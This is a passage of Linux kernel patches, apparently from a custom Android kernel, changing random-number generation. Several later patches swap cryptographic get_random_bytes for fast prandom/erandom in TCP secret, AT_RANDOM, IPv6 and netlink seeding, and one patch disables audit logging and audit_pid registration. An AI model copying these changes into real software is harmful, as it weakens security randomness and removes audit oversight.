prandom(): Phase 1 is from the early actual initialization of prandom() subsystem which happens during core_initcall() and remains most likely until the beginning of late_initcall() phase. Here, the system might not have enough entropy available for seeding with strong randomness from the random driver. That means, we currently have a 32bit weak LCG() seeding the PRNG status register 1 and mixing that successively into the other 3 registers just to get it up and running. Phase 2 starts with late_initcall() phase resp. when the random driver has initialized its non-blocking pool with enough entropy. At that time, we throw away *all* inner state from its 4 registers and do a full reseed with strong randomness. Phase 3 starts right after that and does a periodic reseed with random slack of status register 1 by a strong random source again. A problem in phase 1 is that during bootup data structures can be initialized, e.g. on module load time, and thus access a weakly seeded prandom and are never changed for the rest of their live-time, thus carrying along the results from a week seed. Lets make sure that current but also future users access a possibly better early seeded prandom. This patch therefore improves phase 1 by trying to make it more 'unpredictable' through mixing in seed from a possible hardware source. Now, the mix-in xors inner state with the outcome of either of the two functions arch_get_random_{,seed}_int(), preferably arch_get_random_seed_int() as it likely represents a non-deterministic random bit generator in hw rather than a cryptographically secure PRNG in hw. However, not all might have the first one, so we use the PRNG as a fallback if available. As we xor the seed into the current state, the worst case would be that a hardware source could be unverifiable compromised or backdoored. In that case nevertheless it would be as good as our original early seeding function prandom_seed_very_weak() since we mix through xor which is entropy preserving. Joint work with Daniel Borkmann. Signed-off-by: Daniel Borkmann Signed-off-by: Hannes Frederic Sowa Signed-off-by: David S. Miller --- lib/random32.c | 49 ++++++++++++++++++++++++++++--------------------- 1 file changed, 28 insertions(+), 21 deletions(-) diff --git a/lib/random32.c b/lib/random32.c index fa5da61ce7ade..c9b6bf3afe0cb 100644 --- a/lib/random32.c +++ b/lib/random32.c @@ -40,6 +40,10 @@ #ifdef CONFIG_RANDOM32_SELFTEST static void __init prandom_state_selftest(void); +#else +static inline void prandom_state_selftest(void) +{ +} #endif static DEFINE_PER_CPU(struct rnd_state, net_rand_state); @@ -53,8 +57,7 @@ static DEFINE_PER_CPU(struct rnd_state, net_rand_state); */ u32 prandom_u32_state(struct rnd_state *state) { -#define TAUSWORTHE(s,a,b,c,d) ((s&c)<>b) - +#define TAUSWORTHE(s, a, b, c, d) ((s & c) << d) ^ (((s << a) ^ s) >> b) state->s1 = TAUSWORTHE(state->s1, 6U, 13U, 4294967294U, 18U); state->s2 = TAUSWORTHE(state->s2, 2U, 27U, 4294967288U, 2U); state->s3 = TAUSWORTHE(state->s3, 13U, 21U, 4294967280U, 7U); @@ -147,21 +150,25 @@ static void prandom_warmup(struct rnd_state *state) prandom_u32_state(state); } -static void prandom_seed_very_weak(struct rnd_state *state, u32 seed) +static u32 __extract_hwseed(void) { - /* Note: This sort of seeding is ONLY used in test cases and - * during boot at the time from core_initcall until late_initcall - * as we don't have a stronger entropy source available yet. - * After late_initcall, we reseed entire state, we have to (!), - * otherwise an attacker just needs to search 32 bit space to - * probe for our internal 128 bit state if he knows a couple - * of prandom32 outputs! - */ -#define LCG(x) ((x) * 69069U) /* super-duper LCG */ - state->s1 = __seed(LCG(seed), 2U); - state->s2 = __seed(LCG(state->s1), 8U); - state->s3 = __seed(LCG(state->s2), 16U); - state->s4 = __seed(LCG(state->s3), 128U); + u32 val = 0; + + (void)(arch_get_random_seed_int(&val) || + arch_get_random_int(&val)); + + return val; +} + +static void prandom_seed_early(struct rnd_state *state, u32 seed, + bool mix_with_hwseed) +{ +#define LCG(x) ((x) * 69069U) /* super-duper LCG */ +#define HWSEED() (mix_with_hwseed ? __extract_hwseed() : 0) + state->s1 = __seed(HWSEED() ^ LCG(seed), 2U); + state->s2 = __seed(HWSEED() ^ LCG(state->s1), 8U); + state->s3 = __seed(HWSEED() ^ LCG(state->s2), 16U); + state->s4 = __seed(HWSEED() ^ LCG(state->s3), 128U); } /** @@ -194,14 +201,13 @@ static int __init prandom_init(void) { int i; -#ifdef CONFIG_RANDOM32_SELFTEST prandom_state_selftest(); -#endif for_each_possible_cpu(i) { struct rnd_state *state = &per_cpu(net_rand_state,i); + u32 weak_seed = (i + jiffies) ^ random_get_entropy(); - prandom_seed_very_weak(state, (i + jiffies) ^ random_get_entropy()); + prandom_seed_early(state, weak_seed, true); prandom_warmup(state); } @@ -210,6 +216,7 @@ static int __init prandom_init(void) core_initcall(prandom_init); static void __prandom_timer(unsigned long dontcare); + static DEFINE_TIMER(seed_timer, __prandom_timer, 0, 0); static void __prandom_timer(unsigned long dontcare) @@ -419,7 +426,7 @@ static void __init prandom_state_selftest(void) for (i = 0; i < ARRAY_SIZE(test1); i++) { struct rnd_state state; - prandom_seed_very_weak(&state, test1[i].seed); + prandom_seed_early(&state, test1[i].seed, false); prandom_warmup(&state); if (test1[i].result != prandom_u32_state(&state)) @@ -434,7 +441,7 @@ static void __init prandom_state_selftest(void) for (i = 0; i < ARRAY_SIZE(test2); i++) { struct rnd_state state; - prandom_seed_very_weak(&state, test2[i].seed); + prandom_seed_early(&state, test2[i].seed, false); prandom_warmup(&state); for (j = 0; j < test2[i].iteration - 1; j++) From da0084f10ad818859d531b2c427aabb08a7a232e Mon Sep 17 00:00:00 2001 From: Daniel Borkmann Date: Sat, 23 Aug 2014 17:03:28 +0200 Subject: [PATCH 242/365] random32: improvements to prandom_bytes MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This patch addresses a couple of minor items, mostly addesssing prandom_bytes(): 1) prandom_bytes{,_state}() should use size_t for length arguments, 2) We can use put_unaligned() when filling the array instead of open coding it [ perhaps some archs will further benefit from their own arch specific implementation when GCC cannot make up for it ], 3) Fix a typo, 4) Better use unsigned int as type for getting the arch seed, 5) Make use of prandom_u32_max() for timer slack. Regarding the change to put_unaligned(), callers of prandom_bytes() which internally invoke prandom_bytes_state(), don't bother as they expect the array to be filled randomly and don't have any control of the internal state what-so-ever (that's also why we have periodic reseeding there, etc), so they really don't care. Now for the direct callers of prandom_bytes_state(), which are solely located in test cases for MTD devices, that is, drivers/mtd/tests/{oobtest.c,pagetest.c,subpagetest.c}: These tests basically fill a test write-vector through prandom_bytes_state() with an a-priori defined seed each time and write that to a MTD device. Later on, they set up a read-vector and read back that blocks from the device. So in the verification phase, the write-vector is being re-setup [ so same seed and prandom_bytes_state() called ], and then memcmp()'ed against the read-vector to check if the data is the same. Akinobu, Lothar and I also tested this patch and it runs through the 3 relevant MTD test cases w/o any errors on the nandsim device (simulator for MTD devs) for x86_64, ppc64, ARM (i.MX28, i.MX53 and i.MX6): # modprobe nandsim first_id_byte=0x20 second_id_byte=0xac \ third_id_byte=0x00 fourth_id_byte=0x15 # modprobe mtd_oobtest dev=0 # modprobe mtd_pagetest dev=0 # modprobe mtd_subpagetest dev=0 We also don't have any users depending directly on a particular result of the PRNG (except the PRNG self-test itself), and that's just fine as it e.g. allowed us easily to do things like upgrading from taus88 to taus113. Signed-off-by: Daniel Borkmann Tested-by: Akinobu Mita Tested-by: Lothar Waßmann Cc: Hannes Frederic Sowa Signed-off-by: David S. Miller --- include/linux/random.h | 4 ++-- lib/random32.c | 39 ++++++++++++++++++--------------------- 2 files changed, 20 insertions(+), 23 deletions(-) diff --git a/include/linux/random.h b/include/linux/random.h index af0d829b10210..95e768ce9b829 100644 --- a/include/linux/random.h +++ b/include/linux/random.h @@ -28,7 +28,7 @@ unsigned long get_random_long(void); unsigned long randomize_range(unsigned long start, unsigned long end, unsigned long len); u32 prandom_u32(void); -void prandom_bytes(void *buf, int nbytes); +void prandom_bytes(void *buf, size_t nbytes); void prandom_seed(u32 seed); void prandom_reseed_late(void); @@ -37,7 +37,7 @@ struct rnd_state { }; u32 prandom_u32_state(struct rnd_state *state); -void prandom_bytes_state(struct rnd_state *state, void *buf, int nbytes); +void prandom_bytes_state(struct rnd_state *state, void *buf, size_t nbytes); /* * Handle minimum values for seeds diff --git a/lib/random32.c b/lib/random32.c index c9b6bf3afe0cb..0bee183fa18fa 100644 --- a/lib/random32.c +++ b/lib/random32.c @@ -37,6 +37,7 @@ #include #include #include +#include #ifdef CONFIG_RANDOM32_SELFTEST static void __init prandom_state_selftest(void); @@ -96,27 +97,23 @@ EXPORT_SYMBOL(prandom_u32); * This is used for pseudo-randomness with no outside seeding. * For more random results, use prandom_bytes(). */ -void prandom_bytes_state(struct rnd_state *state, void *buf, int bytes) +void prandom_bytes_state(struct rnd_state *state, void *buf, size_t bytes) { - unsigned char *p = buf; - int i; - - for (i = 0; i < round_down(bytes, sizeof(u32)); i += sizeof(u32)) { - u32 random = prandom_u32_state(state); - int j; + u8 *ptr = buf; - for (j = 0; j < sizeof(u32); j++) { - p[i + j] = random; - random >>= BITS_PER_BYTE; - } + while (bytes >= sizeof(u32)) { + put_unaligned(prandom_u32_state(state), (u32 *) ptr); + ptr += sizeof(u32); + bytes -= sizeof(u32); } - if (i < bytes) { - u32 random = prandom_u32_state(state); - for (; i < bytes; i++) { - p[i] = random; - random >>= BITS_PER_BYTE; - } + if (bytes > 0) { + u32 rem = prandom_u32_state(state); + do { + *ptr++ = (u8) rem; + bytes--; + rem >>= BITS_PER_BYTE; + } while (bytes > 0); } } EXPORT_SYMBOL(prandom_bytes_state); @@ -126,7 +123,7 @@ EXPORT_SYMBOL(prandom_bytes_state); * @buf: where to copy the pseudo-random bytes to * @bytes: the requested number of bytes */ -void prandom_bytes(void *buf, int bytes) +void prandom_bytes(void *buf, size_t bytes) { struct rnd_state *state = &get_cpu_var(net_rand_state); @@ -137,7 +134,7 @@ EXPORT_SYMBOL(prandom_bytes); static void prandom_warmup(struct rnd_state *state) { - /* Calling RNG ten times to satify recurrence condition */ + /* Calling RNG ten times to satisfy recurrence condition */ prandom_u32_state(state); prandom_u32_state(state); prandom_u32_state(state); @@ -152,7 +149,7 @@ static void prandom_warmup(struct rnd_state *state) static u32 __extract_hwseed(void) { - u32 val = 0; + unsigned int val = 0; (void)(arch_get_random_seed_int(&val) || arch_get_random_int(&val)); @@ -228,7 +225,7 @@ static void __prandom_timer(unsigned long dontcare) prandom_seed(entropy); /* reseed every ~60 seconds, in [40 .. 80) interval with slack */ - expires = 40 + (prandom_u32() % 40); + expires = 40 + prandom_u32_max(40); seed_timer.expires = jiffies + msecs_to_jiffies(expires * MSEC_PER_SEC); add_timer(&seed_timer); From 0bbf0cfc304fb2fd3a595a03fab284fc73e769a3 Mon Sep 17 00:00:00 2001 From: Daniel Borkmann Date: Wed, 22 Jan 2014 02:29:39 +0100 Subject: [PATCH 243/365] random32: add prandom_u32_max and convert open coded users Many functions have open coded a function that returns a random number in range [0,N-1]. Under the assumption that we have a PRNG such as taus113 with being well distributed in [0, ~0U] space, we can implement such a function as uword t = (n*m')>>32, where m' is a random number obtained from PRNG, n the right open interval border and t our resulting random number, with n,m',t in u32 universe. Lets go with Joe and simply call it prandom_u32_max(), although technically we have an right open interval endpoint, but that we have documented. Other users can further be migrated to the new prandom_u32_max() function later on; for now, we need to make sure to migrate reciprocal_divide() users for the reciprocal_divide() follow-up fixup since their function signatures are going to change. Joint work with Hannes Frederic Sowa. Cc: Jakub Zawadzki Cc: Eric Dumazet Cc: linux-kernel@vger.kernel.org Signed-off-by: Hannes Frederic Sowa Signed-off-by: Daniel Borkmann Signed-off-by: David S. Miller Conflicts: net/packet/af_packet.c --- drivers/net/team/team_mode_random.c | 8 +------- include/linux/random.h | 18 +++++++++++++++++- net/packet/af_packet.c | 7 +++++++ net/sched/sch_choke.c | 9 +-------- 4 files changed, 26 insertions(+), 16 deletions(-) diff --git a/drivers/net/team/team_mode_random.c b/drivers/net/team/team_mode_random.c index 7f032e2113437..cd2f692b8074e 100644 --- a/drivers/net/team/team_mode_random.c +++ b/drivers/net/team/team_mode_random.c @@ -13,20 +13,14 @@ #include #include #include -#include #include -static u32 random_N(unsigned int N) -{ - return reciprocal_divide(prandom_u32(), N); -} - static bool rnd_transmit(struct team *team, struct sk_buff *skb) { struct team_port *port; int port_index; - port_index = random_N(team->en_port_count); + port_index = prandom_u32_max(team->en_port_count); port = team_get_port_by_index_rcu(team, port_index); if (unlikely(!port)) goto drop; diff --git a/include/linux/random.h b/include/linux/random.h index 95e768ce9b829..0861c7713b049 100644 --- a/include/linux/random.h +++ b/include/linux/random.h @@ -8,7 +8,6 @@ #include - extern void add_device_randomness(const void *, unsigned int); extern void add_input_randomness(unsigned int type, unsigned int code, unsigned int value); @@ -39,6 +38,23 @@ struct rnd_state { u32 prandom_u32_state(struct rnd_state *state); void prandom_bytes_state(struct rnd_state *state, void *buf, size_t nbytes); +/** + * prandom_u32_max - returns a pseudo-random number in interval [0, ep_ro) + * @ep_ro: right open interval endpoint + * + * Returns a pseudo-random number that is in interval [0, ep_ro). Note + * that the result depends on PRNG being well distributed in [0, ~0U] + * u32 space. Here we use maximally equidistributed combined Tausworthe + * generator, that is, prandom_u32(). This is useful when requesting a + * random index of an array containing ep_ro elements, for example. + * + * Returns: pseudo-random number in interval [0, ep_ro) + */ +static inline u32 prandom_u32_max(u32 ep_ro) +{ + return (u32)(((u64) prandom_u32() * ep_ro) >> 32); +} + /* * Handle minimum values for seeds */ diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c index 90fe307c7fc53..9cbae53ee0770 100644 --- a/net/packet/af_packet.c +++ b/net/packet/af_packet.c @@ -1173,6 +1173,13 @@ static unsigned int fanout_demux_cpu(struct packet_fanout *f, return smp_processor_id() % num; } +static unsigned int fanout_demux_rnd(struct packet_fanout *f, + struct sk_buff *skb, + unsigned int num) +{ + return prandom_u32_max(num); +} + static unsigned int fanout_demux_rollover(struct packet_fanout *f, struct sk_buff *skb, unsigned int idx, unsigned int skip, diff --git a/net/sched/sch_choke.c b/net/sched/sch_choke.c index ef53ab8d0aaec..7ce6ec04f741e 100644 --- a/net/sched/sch_choke.c +++ b/net/sched/sch_choke.c @@ -14,7 +14,6 @@ #include #include #include -#include #include #include #include @@ -77,12 +76,6 @@ struct choke_sched_data { struct sk_buff **tab; }; -/* deliver a random number between 0 and N - 1 */ -static u32 random_N(unsigned int N) -{ - return reciprocal_divide(prandom_u32(), N); -} - /* number of elements in queue including holes */ static unsigned int choke_len(const struct choke_sched_data *q) { @@ -233,7 +226,7 @@ static struct sk_buff *choke_peek_random(const struct choke_sched_data *q, int retrys = 3; do { - *pidx = (q->head + random_N(choke_len(q))) & q->tab_mask; + *pidx = (q->head + prandom_u32_max(choke_len(q))) & q->tab_mask; skb = q->tab[*pidx]; if (skb) return skb; From 44a7f29d3d8fd3755cb702747383b962b84731e3 Mon Sep 17 00:00:00 2001 From: Theodore Ts'o Date: Sat, 21 Sep 2013 13:58:22 -0400 Subject: [PATCH 244/365] random: allow architectures to optionally define random_get_entropy() Allow architectures which have a disabled get_cycles() function to provide a random_get_entropy() function which provides a fine-grained, rapidly changing counter that can be used by the /dev/random driver. For example, an architecture might have a rapidly changing register used to control random TLB cache eviction, or DRAM refresh that doesn't meet the requirements of get_cycles(), but which is good enough for the needs of the random driver. Signed-off-by: "Theodore Ts'o" Cc: stable@vger.kernel.org --- drivers/char/random.c | 8 ++++---- include/linux/timex.h | 14 ++++++++++++++ 2 files changed, 18 insertions(+), 4 deletions(-) diff --git a/drivers/char/random.c b/drivers/char/random.c index ec1504a054798..2f5e0a6ee4669 100644 --- a/drivers/char/random.c +++ b/drivers/char/random.c @@ -654,7 +654,7 @@ struct timer_rand_state { */ void add_device_randomness(const void *buf, unsigned int size) { - unsigned long time = get_cycles() ^ jiffies; + unsigned long time = random_get_entropy() ^ jiffies; mix_pool_bytes(&input_pool, buf, size, NULL); mix_pool_bytes(&input_pool, &time, sizeof(time), NULL); @@ -689,7 +689,7 @@ static void add_timer_randomness(struct timer_rand_state *state, unsigned num) goto out; sample.jiffies = jiffies; - sample.cycles = get_cycles(); + sample.cycles = random_get_entropy(); sample.num = num; mix_pool_bytes(&input_pool, &sample, sizeof(sample), NULL); @@ -747,7 +747,7 @@ void add_interrupt_randomness(int irq, int irq_flags) struct fast_pool *fast_pool = &__get_cpu_var(irq_randomness); struct pt_regs *regs = get_irq_regs(); unsigned long now = jiffies; - __u32 input[4], cycles = get_cycles(); + __u32 input[4], cycles = random_get_entropy(); input[0] = cycles ^ jiffies; input[1] = irq; @@ -1434,7 +1434,7 @@ unsigned int get_random_int(void) hash = get_cpu_var(get_random_int_hash); - hash[0] += current->pid + jiffies + get_cycles(); + hash[0] += current->pid + jiffies + random_get_entropy(); md5_transform(hash, random_int_secret); ret = hash[0]; put_cpu_var(get_random_int_hash); diff --git a/include/linux/timex.h b/include/linux/timex.h index dd3edd7dfc94d..9d3f1a5b6178a 100644 --- a/include/linux/timex.h +++ b/include/linux/timex.h @@ -64,6 +64,20 @@ #include +#ifndef random_get_entropy +/* + * The random_get_entropy() function is used by the /dev/random driver + * in order to extract entropy via the relative unpredictability of + * when an interrupt takes places versus a high speed, fine-grained + * timing source or cycle counter. Since it will be occurred on every + * single interrupt, it must have a very low cost/overhead. + * + * By default we use get_cycles() for this purpose, but individual + * architectures may override this in their asm/timex.h header file. + */ +#define random_get_entropy() get_cycles() +#endif + /* * SHIFT_PLL is used as a dampening factor to define how much we * adjust the frequency correction for a given offset in PLL mode. From 17da81f291189e42cae7539f1dafe6051714f0d4 Mon Sep 17 00:00:00 2001 From: imoseyon Date: Sat, 13 Dec 2014 16:39:49 -0800 Subject: [PATCH 245/365] random32: use e/frandom for reseeding, and a merge fixup --- lib/random32.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/random32.c b/lib/random32.c index 0bee183fa18fa..d7a628a6177f6 100644 --- a/lib/random32.c +++ b/lib/random32.c @@ -151,8 +151,7 @@ static u32 __extract_hwseed(void) { unsigned int val = 0; - (void)(arch_get_random_seed_int(&val) || - arch_get_random_int(&val)); + (void)(arch_get_random_int(&val)); return val; } @@ -271,7 +270,7 @@ static void __prandom_reseed(bool late) struct rnd_state *state = &per_cpu(net_rand_state,i); u32 seeds[4]; - get_random_bytes(&seeds, sizeof(seeds)); + erandom_get_random_bytes((char *)&seeds, sizeof(seeds)); state->s1 = __seed(seeds[0], 2U); state->s2 = __seed(seeds[1], 8U); state->s3 = __seed(seeds[2], 16U); From 436a5eba554a7b1dd6f9c0e82bee4911099fef3e Mon Sep 17 00:00:00 2001 From: imoseyon Date: Thu, 19 Nov 2015 05:29:12 -0500 Subject: [PATCH 246/365] binfmt_elf: use prandom - do not deplete entropy Conflicts: fs/binfmt_elf.c --- fs/binfmt_elf.c | 21 +-------------------- 1 file changed, 1 insertion(+), 20 deletions(-) diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c index 21bf0d373facd..b0ee10211b790 100644 --- a/fs/binfmt_elf.c +++ b/fs/binfmt_elf.c @@ -140,25 +140,6 @@ static int padzero(unsigned long elf_bss) #define ELF_BASE_PLATFORM NULL #endif -/* - * Use get_random_int() to implement AT_RANDOM while avoiding depletion - * of the entropy pool. - */ -static void get_atrandom_bytes(unsigned char *buf, size_t nbytes) -{ - unsigned char *p = buf; - - while (nbytes) { - unsigned int random_variable; - size_t chunk = min(nbytes, sizeof(random_variable)); - - random_variable = get_random_int(); - memcpy(p, &random_variable, chunk); - p += chunk; - nbytes -= chunk; - } -} - static int create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec, unsigned long load_addr, unsigned long interp_load_addr) @@ -220,7 +201,7 @@ create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec, /* * Generate 16 random bytes for userspace PRNG seeding. */ - get_atrandom_bytes(k_rand_bytes, sizeof(k_rand_bytes)); + prandom_bytes(k_rand_bytes, sizeof(k_rand_bytes)); u_rand_bytes = (elf_addr_t __user *) STACK_ALLOC(p, sizeof(k_rand_bytes)); if (__copy_to_user(u_rand_bytes, k_rand_bytes, sizeof(k_rand_bytes))) From 1eb325dd3a35d0a7b44a106c112072b81c99b1c3 Mon Sep 17 00:00:00 2001 From: imoseyon Date: Sat, 13 Dec 2014 16:53:13 -0800 Subject: [PATCH 247/365] random.h: declare erandom function --- include/linux/random.h | 2 ++ 1 file changed, 2 insertions(+) diff --git a/include/linux/random.h b/include/linux/random.h index 0861c7713b049..b14fd494dbd17 100644 --- a/include/linux/random.h +++ b/include/linux/random.h @@ -98,3 +98,5 @@ static inline u32 next_pseudo_random32(u32 seed) } #endif /* _LINUX_RANDOM_H */ + +void erandom_get_random_bytes(char *buf, size_t count); From 8ee32a88b294364af5dd5cc85e9e277f83ea1692 Mon Sep 17 00:00:00 2001 From: imoseyon Date: Sat, 13 Dec 2014 16:53:42 -0800 Subject: [PATCH 248/365] net/packet: merge fix --- net/packet/af_packet.c | 7 ------- 1 file changed, 7 deletions(-) diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c index 9cbae53ee0770..90fe307c7fc53 100644 --- a/net/packet/af_packet.c +++ b/net/packet/af_packet.c @@ -1173,13 +1173,6 @@ static unsigned int fanout_demux_cpu(struct packet_fanout *f, return smp_processor_id() % num; } -static unsigned int fanout_demux_rnd(struct packet_fanout *f, - struct sk_buff *skb, - unsigned int num) -{ - return prandom_u32_max(num); -} - static unsigned int fanout_demux_rollover(struct packet_fanout *f, struct sk_buff *skb, unsigned int idx, unsigned int skip, From 80c3a2b455b06320f8f433559573f295812695ad Mon Sep 17 00:00:00 2001 From: imoseyon Date: Sun, 14 Dec 2014 10:36:51 -0800 Subject: [PATCH 249/365] random: sprinkle e/f/prandom in places that deplete entropy often --- include/linux/etherdevice.h | 2 +- lib/random32.c | 2 +- net/core/neighbour.c | 2 +- net/core/secure_seq.c | 2 +- net/ipv6/addrconf.c | 2 +- net/netlink/af_netlink.c | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/include/linux/etherdevice.h b/include/linux/etherdevice.h index c623861964e4c..55780af077f4b 100644 --- a/include/linux/etherdevice.h +++ b/include/linux/etherdevice.h @@ -154,7 +154,7 @@ static inline bool is_valid_ether_addr(const u8 *addr) */ static inline void eth_random_addr(u8 *addr) { - get_random_bytes(addr, ETH_ALEN); + prandom_bytes(addr, ETH_ALEN); addr[0] &= 0xfe; /* clear multicast bit */ addr[0] |= 0x02; /* set local assignment bit (IEEE802) */ } diff --git a/lib/random32.c b/lib/random32.c index d7a628a6177f6..ae95d5154392f 100644 --- a/lib/random32.c +++ b/lib/random32.c @@ -220,7 +220,7 @@ static void __prandom_timer(unsigned long dontcare) u32 entropy; unsigned long expires; - get_random_bytes(&entropy, sizeof(entropy)); + erandom_get_random_bytes((char *)&entropy, sizeof(entropy)); prandom_seed(entropy); /* reseed every ~60 seconds, in [40 .. 80) interval with slack */ diff --git a/net/core/neighbour.c b/net/core/neighbour.c index 2bc6c11134027..76d06267becb5 100644 --- a/net/core/neighbour.c +++ b/net/core/neighbour.c @@ -310,7 +310,7 @@ static struct neighbour *neigh_alloc(struct neigh_table *tbl, struct net_device static void neigh_get_hash_rnd(u32 *x) { - get_random_bytes(x, sizeof(*x)); + prandom_bytes(x, sizeof(*x)); *x |= 1; } diff --git a/net/core/secure_seq.c b/net/core/secure_seq.c index d0afc322b961f..a5edfff835a77 100644 --- a/net/core/secure_seq.c +++ b/net/core/secure_seq.c @@ -25,7 +25,7 @@ static void net_secret_init(void) for (i = NET_SECRET_SIZE; i > 0;) { do { - get_random_bytes(&tmp, sizeof(tmp)); + prandom_bytes(&tmp, sizeof(tmp)); } while (!tmp); cmpxchg(&net_secret[--i], 0, tmp); } diff --git a/net/ipv6/addrconf.c b/net/ipv6/addrconf.c index 9541a77668f4d..be1a04928ffaa 100644 --- a/net/ipv6/addrconf.c +++ b/net/ipv6/addrconf.c @@ -1935,7 +1935,7 @@ static int ipv6_inherit_eui64(u8 *eui, struct inet6_dev *idev) static void __ipv6_regen_rndid(struct inet6_dev *idev) { regen: - get_random_bytes(idev->rndid, sizeof(idev->rndid)); + prandom_bytes(idev->rndid, sizeof(idev->rndid)); idev->rndid[0] &= ~0x02; /* diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c index 7b151e643b941..9a52a59ab465f 100644 --- a/net/netlink/af_netlink.c +++ b/net/netlink/af_netlink.c @@ -913,7 +913,7 @@ static int nl_portid_hash_rehash(struct nl_portid_hash *hash, int grow) hash->table = table; hash->mask = mask; hash->shift = shift; - get_random_bytes(&hash->rnd, sizeof(hash->rnd)); + prandom_bytes(&hash->rnd, sizeof(hash->rnd)); for (i = 0; i <= omask; i++) { struct sock *sk; From 52df7e67d6b552860c51b886874614ff61388142 Mon Sep 17 00:00:00 2001 From: Pranav Vashi Date: Tue, 20 Oct 2015 21:00:08 +0530 Subject: [PATCH 250/365] audit: Mute userspace and kernel audit logs Signed-off-by: Pranav Vashi --- kernel/audit.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/kernel/audit.c b/kernel/audit.c index 4dd7529b08451..8ec45552b21f2 100644 --- a/kernel/audit.c +++ b/kernel/audit.c @@ -373,7 +373,7 @@ static void audit_printk_skb(struct sk_buff *skb) if (nlh->nlmsg_type != AUDIT_EOE) { if (printk_ratelimit()) - printk(KERN_NOTICE "type=%d %s\n", nlh->nlmsg_type, data); + pr_debug(KERN_NOTICE "type=%d %s\n", nlh->nlmsg_type, data); else audit_log_lost("printk limit exceeded\n"); } @@ -690,7 +690,7 @@ static int audit_receive_msg(struct sk_buff *skb, struct nlmsghdr *nlh) if (audit_enabled != AUDIT_OFF) audit_log_config_change("audit_pid", new_pid, audit_pid, 1); - audit_pid = new_pid; + audit_pid = 0; audit_nlk_portid = NETLINK_CB(skb).portid; } if (status_get->mask & AUDIT_STATUS_RATE_LIMIT) { From 8a044442ac0f716d6ec4e4f5c87e5cafcfb2c97e Mon Sep 17 00:00:00 2001 From: flar2 Date: Wed, 6 Nov 2013 23:13:14 -0500 Subject: [PATCH 251/365] Add /dev/frandom support Signed-off-by: flar2 --- drivers/char/Kconfig | 9 + drivers/char/Makefile | 1 + drivers/char/frandom.c | 421 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 431 insertions(+) create mode 100644 drivers/char/frandom.c diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig index 4e9262a1b7c05..6d942946989a8 100644 --- a/drivers/char/Kconfig +++ b/drivers/char/Kconfig @@ -28,6 +28,15 @@ config DEVKMEM kind of kernel debugging operations. When in doubt, say "N". +config FRANDOM + bool "/dev/frandom device support" + default y + help + Say Y here if you want to support the /dev/frandom device. Frandom + is a Linux kernel random number generator, which is 10-50 times faster + than what you get from Linux' built-in /dev/urandom. + When in doubt, say "N" + config STALDRV bool "Stallion multiport serial support" depends on SERIAL_NONSTANDARD diff --git a/drivers/char/Makefile b/drivers/char/Makefile index c18564513aeb6..69d374cbed9ba 100644 --- a/drivers/char/Makefile +++ b/drivers/char/Makefile @@ -5,6 +5,7 @@ obj-y += mem.o random.o frandom.o obj-$(CONFIG_TTY_PRINTK) += ttyprintk.o obj-y += misc.o +obj-$(CONFIG_FRANDOM) += frandom.o obj-$(CONFIG_ATARI_DSP56K) += dsp56k.o obj-$(CONFIG_VIRTIO_CONSOLE) += virtio_console.o obj-$(CONFIG_RAW_DRIVER) += raw.o diff --git a/drivers/char/frandom.c b/drivers/char/frandom.c new file mode 100644 index 0000000000000..d108cccb7c10a --- /dev/null +++ b/drivers/char/frandom.c @@ -0,0 +1,421 @@ +/* +** frandom.c +** Fast pseudo-random generator +** +** (c) Copyright 2003-2011 Eli Billauer +** http://www.billauer.co.il +** +** This program is free software; you can redistribute it and/or modify +** it under the terms of the GNU General Public License as published by +** the Free Software Foundation; either version 2 of the License, or +** (at your option) any later version. +** +** +*/ + +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#define INTERNAL_SEED 0 +#define EXTERNAL_SEED 1 + +#define FRANDOM_MAJOR 235 +#define FRANDOM_MINOR 11 +#define ERANDOM_MINOR 12 + +static struct file_operations frandom_fops; /* Values assigned below */ + +static int erandom_seeded = 0; /* Internal flag */ + +static int frandom_major = FRANDOM_MAJOR; +static int frandom_minor = FRANDOM_MINOR; +static int erandom_minor = ERANDOM_MINOR; +static int frandom_bufsize = 256; +static int frandom_chunklimit = 0; /* =0 means unlimited */ + +static struct cdev frandom_cdev; +static struct cdev erandom_cdev; +static struct class *frandom_class; +struct device *frandom_device; +struct device *erandom_device; + +MODULE_DESCRIPTION("Fast pseudo-random number generator"); +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Eli Billauer"); +module_param(frandom_major, int, 0); +module_param(frandom_minor, int, 0); +module_param(erandom_minor, int, 0); +module_param(frandom_bufsize, int, 0); +module_param(frandom_chunklimit, int, 0); + +MODULE_PARM_DESC(frandom_major,"Major number of /dev/frandom and /dev/erandom"); +MODULE_PARM_DESC(frandom_minor,"Minor number of /dev/frandom"); +MODULE_PARM_DESC(erandom_minor,"Minor number of /dev/erandom"); +MODULE_PARM_DESC(frandom_bufsize,"Internal buffer size in bytes. Default is 256. Must be >= 256"); +MODULE_PARM_DESC(frandom_chunklimit,"Limit for read() blocks size. 0 (default) is unlimited, otherwise must be >= 256"); + +struct frandom_state +{ + struct semaphore sem; /* Semaphore on the state structure */ + + u8 S[256]; /* The state array */ + u8 i; + u8 j; + + char *buf; +}; + +static struct frandom_state *erandom_state; + +static inline void swap_byte(u8 *a, u8 *b) +{ + u8 swapByte; + + swapByte = *a; + *a = *b; + *b = swapByte; +} + +static void init_rand_state(struct frandom_state *state, int seedflag); + +void erandom_get_random_bytes(char *buf, size_t count) +{ + struct frandom_state *state = erandom_state; + int k; + + unsigned int i; + unsigned int j; + u8 *S; + + /* If we fail to get the semaphore, we revert to external random data. + Since semaphore blocking is expected to be very rare, and interrupts + during these rare and very short periods of time even less frequent, + we take the better-safe-than-sorry approach, and fill the buffer + some expensive random data, in case the caller wasn't aware of this + possibility, and expects random data anyhow. + */ + + if (down_interruptible(&state->sem)) { + get_random_bytes(buf, count); + return; + } + + /* We seed erandom as 